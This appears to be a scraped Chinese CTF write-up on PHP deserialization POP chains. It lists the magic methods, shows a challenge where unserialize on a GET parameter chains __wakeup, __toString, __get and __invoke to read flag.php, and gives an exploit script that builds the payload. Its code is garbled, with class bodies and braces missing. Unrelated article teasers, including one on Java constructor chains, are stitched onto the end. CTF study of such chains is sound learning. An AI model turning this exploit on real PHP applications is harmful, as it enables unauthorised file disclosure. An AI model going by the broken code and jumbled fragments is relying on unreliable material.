序列化是為了方便於資料的傳輸,形象化理解就像物流的過程。你想把一張桌子通過從a–>b,一張桌子肯定不好運輸,因此需要把它拆開(這個拆的過程就是序列化);等到達了b需要把他組裝起來(裝的過程就是反序列化)。
__sleep() //使用serialize時觸發
__destruct() //物件被銷毀時觸發
__call() //在物件上下文中呼叫不可訪問的方法時觸發
__callstatic() //在靜態上下文中呼叫不可訪問的方法時觸發
__get() //用於從不可訪問的屬性讀取資料
__set() //用於將資料寫入不可訪問的屬性
__isset() //在不可訪問的屬性上呼叫isset()或empty()觸發
__unset() //在不可訪問的屬性上使用unset()時觸發
__tostring() //把類當作字串使用時觸發
__invoke() //當指令碼嘗試將物件呼叫為函式時觸發
直接上題方便理解
<?php
//flag is in flag.php
error_reporting(1);
class read
public function __invoke()
}class show
public function __tostring()
public function _show()
else
}public function __wakeup()
}}class test
public function __get($key)
}if(isset($_get['hello']))
else
1.首先看到unserialize($_get[『hello』])將get傳參的hello進行了反序列化操作。那麼將會呼叫到show類中__weakup方法。
2.因為this->source = 「index.php」source被當做字串所以呼叫show類中的__to string.
3. ** return $this->str[『str』]->source ** source屬性不存在所以呼叫test類中的 get方法。
4. ** $function = $this->p;
return $function(); **
把取出來的p當做還是呼叫因此又會引起呼叫了 read類中的__invoke方法,其中就可以把檔案讀取出來了。
上exp
<?php
class show
class test
class read
$s = new show();
$t = new test();
$r = new read();
$t -> p = $r;
$s ->str["str"] = $t;
$s -> source = $s;
var_dump(serialize($s));
babyGo 安恆2019 1 pop鏈的構造
周周練的時候看了一葉飄零師傅的部落格才知道pop鏈的存在 還是太菜了啊 先來學習一下關於pop鏈的知識。再看一看這道題目的baby類 也就是說這道題目中的類baby呼叫了sec類的read 方法。l 但是sec類的read 是乙個安全函式,這時候發現cool類也存在乙個read 方法,我們可以利用c...
php反序列化之pop鏈構造
本題是某信有一次內部比賽的題目,涉及到pop鏈的構造問題,所以在這裡與大家分享一下 檢視原始碼 邏輯是當引數fn存在且不包含string zlib flag這三個字串時,進行檔案包含 這裡的過濾是為了防止我們直接讀取到flag.php的原始碼,因為畢竟題名是反序列化 如果不存在fn,對code進行反...
java的構造方法鏈
構造乙個類的例項時,將會呼叫沿著繼承鏈的所有父類的構造方法。當構造乙個子類的物件時,子類構造方法會在完成自己的任務之前,首先呼叫它的父類的構造方法。如果父類繼承自其他類,那麼父類構造方法又會在完成自己的任務之前,呼叫它自己的父類的構造方法。這個過程持續到沿著這個繼承體系結構的最後乙個構造方法被呼叫為...